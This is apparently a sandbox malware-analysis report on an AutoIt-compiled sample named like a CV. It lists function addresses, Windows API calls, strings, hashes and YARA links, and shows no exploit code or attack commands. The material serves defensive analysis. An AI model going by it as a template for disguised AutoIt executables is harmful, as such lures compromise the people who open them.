                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$Window
                                                                  • String ID: 0$@U=u
                                                                  • API String ID: 2326795674-975001249
                                                                  • Opcode ID: 9e99eb0d33cfcc0e4401b809a2808a36c5c44904e3bb9b4e09a8c4694fcacb03
                                                                  • Instruction ID: 75d81fe8114fbcd080eb3055a73190a8617502c34aa7633237f4c3f8921f251d
                                                                  • Opcode Fuzzy Hash: 9e99eb0d33cfcc0e4401b809a2808a36c5c44904e3bb9b4e09a8c4694fcacb03
                                                                  • Instruction Fuzzy Hash: EEF1E3B1104345AFD725AF28C886BAABFE4FF49314F18069DF599D62B1C774C844CBA1
                                                                  Function 00B2CC24 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 267COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __wcsnicmp
                                                                  • String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                                                  • API String ID: 1038674560-86951937
                                                                  • Opcode ID: 0ddb0ec80f5ed52017f4e180ad42f733315868c54b89bcf0ed4fc48b7b84b6e8
                                                                  • Instruction ID: ed713cc4634fd4f6677e66d10d75726117518abe93e06ed3b87814e61fd9fa41
                                                                  • Opcode Fuzzy Hash: 0ddb0ec80f5ed52017f4e180ad42f733315868c54b89bcf0ed4fc48b7b84b6e8
                                                                  • Instruction Fuzzy Hash: EE81E831A40225BBCB24AB64EC82FFE7BE8EF64340F0440F5F90D66192FB61DA45D695
                                                                  Function 00B8638D Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 352COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CharUpperBuffW.USER32(?,?,00BBDC00), ref: 00B86449
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: BuffCharUpper
                                                                  • String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
                                                                  • API String ID: 3964851224-45149045
                                                                  • Opcode ID: dac9124d6cd3a3cc1f706a4a460483d69b66dd2db7a122de520ce56320ffa94a
                                                                  • Instruction ID: fc2fd0ea1bc6474001d5c2d07b5c66425e9131e5d2483ddc783b23e476b04cb6
                                                                  • Opcode Fuzzy Hash: dac9124d6cd3a3cc1f706a4a460483d69b66dd2db7a122de520ce56320ffa94a
                                                                  • Instruction Fuzzy Hash: D7C143342042458BCB04FF14C591AAEB7D5EF95344F5448D9F89A6B3E2EB31ED4ACB82
                                                                  Function 00B8B6C4 Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 400windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00B8B7B0
                                                                  • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00B8B7C1
                                                                  • CharNextW.USER32(0000014E), ref: 00B8B7F0
                                                                  • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00B8B831
                                                                  • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00B8B847
                                                                  • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00B8B858
                                                                  • SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00B8B875
                                                                  • SetWindowTextW.USER32(?,0000014E), ref: 00B8B8C7
                                                                  • SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00B8B8DD
                                                                  • SendMessageW.USER32(?,00001002,00000000,?), ref: 00B8B90E
                                                                  • _memset.LIBCMT ref: 00B8B933
                                                                  • SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00B8B97C
                                                                  • _memset.LIBCMT ref: 00B8B9DB
                                                                  • SendMessageW.USER32 ref: 00B8BA05
                                                                  • SendMessageW.USER32(?,00001074,?,00000001), ref: 00B8BA5D
                                                                  • SendMessageW.USER32(?,0000133D,?,?), ref: 00B8BB0A
                                                                  • InvalidateRect.USER32(?,00000000,00000001), ref: 00B8BB2C
                                                                  • GetMenuItemInfoW.USER32(?), ref: 00B8BB76
                                                                  • SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00B8BBA3
                                                                  • DrawMenuBar.USER32(?), ref: 00B8BBB2
                                                                  • SetWindowTextW.USER32(?,0000014E), ref: 00B8BBDA
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
                                                                  • String ID: 0$@U=u
                                                                  • API String ID: 1073566785-975001249
                                                                  • Opcode ID: 02221e5f4b354da051f0a00f5710100c0d48b5032fc074b3beb43a4eb0a0b275
                                                                  • Instruction ID: be92dd8259f174754a830874d1b2f81efade13e9fe1b244768aebebcd441cbd9
                                                                  • Opcode Fuzzy Hash: 02221e5f4b354da051f0a00f5710100c0d48b5032fc074b3beb43a4eb0a0b275
                                                                  • Instruction Fuzzy Hash: C9E15C75900219AFDF20AF65CC85EEE7BF8EF05714F148196F919AB2A0DB708A41DF60
                                                                  Function 00B8764F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetCursorPos.USER32(?), ref: 00B8778A
                                                                  • GetDesktopWindow.USER32 ref: 00B8779F
                                                                  • GetWindowRect.USER32(00000000), ref: 00B877A6
                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 00B87808
                                                                  • DestroyWindow.USER32(?), ref: 00B87834
                                                                  • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00B8785D
                                                                  • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00B8787B
                                                                  • SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00B878A1
                                                                  • SendMessageW.USER32(?,00000421,?,?), ref: 00B878B6
                                                                  • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00B878C9
                                                                  • IsWindowVisible.USER32(?), ref: 00B878E9
                                                                  • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00B87904
                                                                  • SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00B87918
                                                                  • GetWindowRect.USER32(?,?), ref: 00B87930
                                                                  • MonitorFromPoint.USER32(?,?,00000002), ref: 00B87956
                                                                  • GetMonitorInfoW.USER32 ref: 00B87970
                                                                  • CopyRect.USER32(?,?), ref: 00B87987
                                                                  • SendMessageW.USER32(?,00000412,00000000), ref: 00B879F2
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                                  • String ID: ($0$tooltips_class32
                                                                  • API String ID: 698492251-4156429822
                                                                  • Opcode ID: dcc359bf41a6855bf2929a173df34fb03c326796d8beff9727fe91a06466327d
                                                                  • Instruction ID: 526a951ff31b77bf9525ff5a47df363f8ee3f4e61f5a68fd3c937af53e018ca1
                                                                  • Opcode Fuzzy Hash: dcc359bf41a6855bf2929a173df34fb03c326796d8beff9727fe91a06466327d
                                                                  • Instruction Fuzzy Hash: DEB1B271608311AFD704EF68C989B5ABBE4FF88314F10895DF59A9B2A1DB70EC05CB91
                                                                  Function 00B66CE9 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 178COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetFileVersionInfoSizeW.VERSION(?,?), ref: 00B66CFB
                                                                  • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00B66D21
                                                                  • _wcscpy.LIBCMT ref: 00B66D4F
                                                                  • _wcscmp.LIBCMT ref: 00B66D5A
                                                                  • _wcscat.LIBCMT ref: 00B66D70
                                                                  • _wcsstr.LIBCMT ref: 00B66D7B
                                                                  • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00B66D97
                                                                  • _wcscat.LIBCMT ref: 00B66DE0
                                                                  • _wcscat.LIBCMT ref: 00B66DE7
                                                                  • _wcsncpy.LIBCMT ref: 00B66E12
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
                                                                  • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                  • API String ID: 699586101-1459072770
                                                                  • Opcode ID: ae5f6c8cf65d63a6ea746191c7597319413ee3594d80533dc937756ad5c2a25f
                                                                  • Instruction ID: 0f512d847f32f7b3a0784bf3165aa8dcd631237a17e72ffa91957c0fc545826b
                                                                  • Opcode Fuzzy Hash: ae5f6c8cf65d63a6ea746191c7597319413ee3594d80533dc937756ad5c2a25f
                                                                  • Instruction Fuzzy Hash: 4441C571A00205BBEB00BB64CD47EBF77FCDF51710F1404E9F905A6192FB799A01A6A6
                                                                  Function 00B3A856 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 285windowtimeCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00B3A939
                                                                  • GetSystemMetrics.USER32(00000007), ref: 00B3A941
                                                                  • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00B3A96C
                                                                  • GetSystemMetrics.USER32(00000008), ref: 00B3A974
                                                                  • GetSystemMetrics.USER32(00000004), ref: 00B3A999
                                                                  • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00B3A9B6
                                                                  • AdjustWindowRectEx.USER32(000000FF,00000000,00000000,00000000), ref: 00B3A9C6
                                                                  • CreateWindowExW.USER32(00000000,AutoIt v3 GUI,?,00000000,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00B3A9F9
                                                                  • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00B3AA0D
                                                                  • GetClientRect.USER32(00000000,000000FF), ref: 00B3AA2B
                                                                  • GetStockObject.GDI32(00000011), ref: 00B3AA47
                                                                  • SendMessageW.USER32(00000000,00000030,00000000), ref: 00B3AA52
                                                                    • Part of subcall function 00B3B63C: GetCursorPos.USER32(000000FF), ref: 00B3B64F
                                                                    • Part of subcall function 00B3B63C: ScreenToClient.USER32(00000000,000000FF), ref: 00B3B66C
                                                                    • Part of subcall function 00B3B63C: GetAsyncKeyState.USER32(00000001), ref: 00B3B691
                                                                    • Part of subcall function 00B3B63C: GetAsyncKeyState.USER32(00000002), ref: 00B3B69F
                                                                  • SetTimer.USER32(00000000,00000000,00000028,00B3AB87), ref: 00B3AA79
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                                  • String ID: @U=u$AutoIt v3 GUI
                                                                  • API String ID: 1458621304-2077007950
                                                                  • Opcode ID: 3ae8b801293a63371e08046dbab9c9a4a0d941c4eb64925ec0ec686206345829
                                                                  • Instruction ID: 1acc886999e909976a14f2944a890f057791f416439757838d12d9fdb22b6b0a
                                                                  • Opcode Fuzzy Hash: 3ae8b801293a63371e08046dbab9c9a4a0d941c4eb64925ec0ec686206345829
                                                                  • Instruction Fuzzy Hash: 3AB14C71A0020AAFDF14DFA8DC85BAE7BF4FB08314F214269FA56A7290DB74D851CB51
                                                                  Function 00B5EA9D Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 168windowtimeCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadIconW.USER32(00000063), ref: 00B5EAB0
                                                                  • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00B5EAC2
                                                                  • SetWindowTextW.USER32(?,?), ref: 00B5EAD9
                                                                  • GetDlgItem.USER32(?,000003EA), ref: 00B5EAEE
                                                                  • SetWindowTextW.USER32(00000000,?), ref: 00B5EAF4
                                                                  • GetDlgItem.USER32(?,000003E9), ref: 00B5EB04
                                                                  • SetWindowTextW.USER32(00000000,?), ref: 00B5EB0A
                                                                  • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00B5EB2B
                                                                  • SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00B5EB45
                                                                  • GetWindowRect.USER32(?,?), ref: 00B5EB4E
                                                                  • SetWindowTextW.USER32(?,?), ref: 00B5EBB9
                                                                  • GetDesktopWindow.USER32 ref: 00B5EBBF
                                                                  • GetWindowRect.USER32(00000000), ref: 00B5EBC6
                                                                  • MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00B5EC12
                                                                  • GetClientRect.USER32(?,?), ref: 00B5EC1F
                                                                  • PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00B5EC44
                                                                  • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00B5EC6F
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                                  • String ID: @U=u
                                                                  • API String ID: 3869813825-2594219639
                                                                  • Opcode ID: 6aa42b16e50d4eeb71d500eb221736564cc00cb1f91644e0ec9899a978452a36
                                                                  • Instruction ID: 61dce06f671f22ca0231c7caef90b036f8a174ab4e7a1b2d7ff88c3ba6a65302
                                                                  • Opcode Fuzzy Hash: 6aa42b16e50d4eeb71d500eb221736564cc00cb1f91644e0ec9899a978452a36
                                                                  • Instruction Fuzzy Hash: 8B513D71900709AFDB24DFA8CD8AB6EBBF5FF04706F004968E556A25A0DB74E949CB10
                                                                  Function 00B22EC0 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 346COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$Foreground
                                                                  • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                                                                  • API String ID: 62970417-1919597938
                                                                  • Opcode ID: bd071854fd1ddbdf9843f2f9e1e20aab078c8eee2910b9836e89a402d5203a5a
                                                                  • Instruction ID: 4f553aef337234553343f6c2118cb2366f76aaae737a63b38f6375fa77b33300
                                                                  • Opcode Fuzzy Hash: bd071854fd1ddbdf9843f2f9e1e20aab078c8eee2910b9836e89a402d5203a5a
                                                                  • Instruction Fuzzy Hash: 50D1C830508642BFCF04EF14D4819AABBF0FF54344F504AEAF45A676A1DB70E99ACB91
                                                                  Function 00B86BC9 Relevance: 28.3, APIs: 2, Strings: 14, Instructions: 281windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CharUpperBuffW.USER32(?,?), ref: 00B86C56
                                                                  • SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00B86D16
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: BuffCharMessageSendUpper
                                                                  • String ID: @U=u$DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
                                                                  • API String ID: 3974292440-1753161424
                                                                  • Opcode ID: 6780bc730150a12dd6e5078f8a02cb54d9240b4c8a6209a5a00265064e3a7821
                                                                  • Instruction ID: 6f2ec9cb9ef32d2c08b4e8e3a4b056a33a26d9fdcd848bdf7ab5203fd1be60a9
                                                                  • Opcode Fuzzy Hash: 6780bc730150a12dd6e5078f8a02cb54d9240b4c8a6209a5a00265064e3a7821
                                                                  • Instruction Fuzzy Hash: 1CA14E302042419FCB14FF14D991A6AB3E5FF54315F5449E9B8AAAB3E2DB30EC0ACB51
                                                                  Function 00B8E731 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 129filecommemoryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 00B8E754
                                                                  • GetFileSize.KERNEL32(00000000,00000000), ref: 00B8E76B
                                                                  • GlobalAlloc.KERNEL32(00000002,00000000), ref: 00B8E776
                                                                  • CloseHandle.KERNEL32(00000000), ref: 00B8E783
                                                                  • GlobalLock.KERNEL32(00000000), ref: 00B8E78C
                                                                  • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00B8E79B
                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 00B8E7A4
                                                                  • CloseHandle.KERNEL32(00000000), ref: 00B8E7AB
                                                                  • CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00B8E7BC
                                                                  • OleLoadPicture.OLEAUT32(?,00000000,00000000,00BAD9BC,?), ref: 00B8E7D5
                                                                  • GlobalFree.KERNEL32(00000000), ref: 00B8E7E5
                                                                  • GetObjectW.GDI32(?,00000018,000000FF), ref: 00B8E809
                                                                  • CopyImage.USER32(?,00000000,?,?,00002000), ref: 00B8E834
                                                                  • DeleteObject.GDI32(00000000), ref: 00B8E85C
                                                                  • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00B8E872
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                  • String ID: @U=u
                                                                  • API String ID: 3840717409-2594219639
                                                                  • Opcode ID: e907d77f15b1666b32151e9fec55d9224d5056ee1636e02a151575eb4004d738
                                                                  • Instruction ID: 2787afcdd5cdc061e8d5726aab60629a8fb468b489f491a94e1064a6662e3d2c
                                                                  • Opcode Fuzzy Hash: e907d77f15b1666b32151e9fec55d9224d5056ee1636e02a151575eb4004d738
                                                                  • Instruction Fuzzy Hash: FE412875600204FFDB119F65DC89EAE7BB9EB8A715F108098F916A7260DB30DD41DB20
                                                                  Function 00B83639 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B83735
                                                                  • RegCreateKeyExW.ADVAPI32(?,?,00000000,00BBDC00,00000000,?,00000000,?,?), ref: 00B837A3
                                                                  • RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00B837EB
                                                                  • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00B83874
                                                                  • RegCloseKey.ADVAPI32(?), ref: 00B83B94
                                                                  • RegCloseKey.ADVAPI32(00000000), ref: 00B83BA1
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Close$ConnectCreateRegistryValue
                                                                  • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                                  • API String ID: 536824911-966354055
                                                                  • Opcode ID: d30f660d18cfe40ac217780bc4ad3d2712db757c17db12690de371ce9b7c8b6e
                                                                  • Instruction ID: d2b121a49a53da67e6ded47aaa29e132201e8ab1f7a240649b58ee0c491342a5
